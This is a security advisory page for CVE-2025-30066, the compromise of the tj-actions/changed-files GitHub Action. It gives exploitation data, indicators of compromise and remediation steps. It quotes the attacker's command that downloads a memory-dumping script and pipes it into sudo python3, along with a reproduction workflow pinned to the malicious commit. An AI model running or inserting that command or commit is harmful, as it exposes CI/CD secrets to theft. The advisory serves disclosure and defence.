CVE-2025-30066 is a high-severity (CVSS 8.6) CWE-506 vulnerability in tj-actions/changed-files. It is in CISA's Known Exploited Vulnerabilities catalog (added 2025-03-18) — treat it as actively exploited and patch now. A fix is available for tj-actions/changed-files — see the affected versions and patch details below.
tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.
Exploitation Status
Actively exploited in the wild
- Confirmed by CISA's Known Exploited Vulnerabilities catalog on 2025-03-18. Federal agencies were required to remediate by 2025-04-08.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA (KEV catalog and SSVC triage) for CVE-2025-30066.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2025-30066 by exploitation likelihood (EPSS) against impact (CVSS). In the shaded patch-first corner (EPSS 50%+, CVSS 7.0+).
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
tj-actions/changed-filesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.
This has been patched in v46.0.1.
Details
The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.
Key Indicators of Compromise (IoC):
- Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- Retroactively updated tags pointing to the malicious commit:
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution:
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.
Proof of Concept (PoC)
Steps to Reproduce:
- Create a GitHub Actions workflow using the tj-actions/changed-files action:
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
jobs:
changed_files:
runs-on: ubuntu-latest
steps:
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
- Run the workflow and inspect the logs in the Actions tab.
- Vulnerable workflows may display secrets in the logs.
Detection:
Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:
gist.githubusercontent.com
Live reproduction logs:
🔗 Harden-Runner Insights
This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.
Duration of Vulnerability
The vulnerability was active between March 14 and March 15, 2025.
Action Required
-
Review your workflows executed between March 14 and March 15:
- Check the changed-files section for unexpected output.
- Decode suspicious output using the following command:
echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
-
Update workflows referencing the compromised commit:
- If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
-
Tagged versions:
- If you are using tagged versions (e.g.,
v35,v44.5.1), no action is required as these tags have been updated and are now safe to use.
- If you are using tagged versions (e.g.,
-
Rotate potentially exposed secrets:
- As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact
- Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
- Who is impacted:
- Over 23,000 repositories using tj-actions/changed-files.
- Organizations with public repositories are at the highest risk, as their logs may already be compromised.
- Potential consequences:
- Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
- Unauthorized access to source code, infrastructure, and production environments.
- Credential leaks in public repositories, enabling further supply chain attacks.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦GitHub Actions | tj-actions/changed-files | all versions | 46.0.1 |
Affected Products
changed-filestj-actionsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/changed-files, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tj-actions/changed-files to 46.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-30066 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2025-30066 in your dependencies?
Find it across GitHub Actions, including transitive dependencies.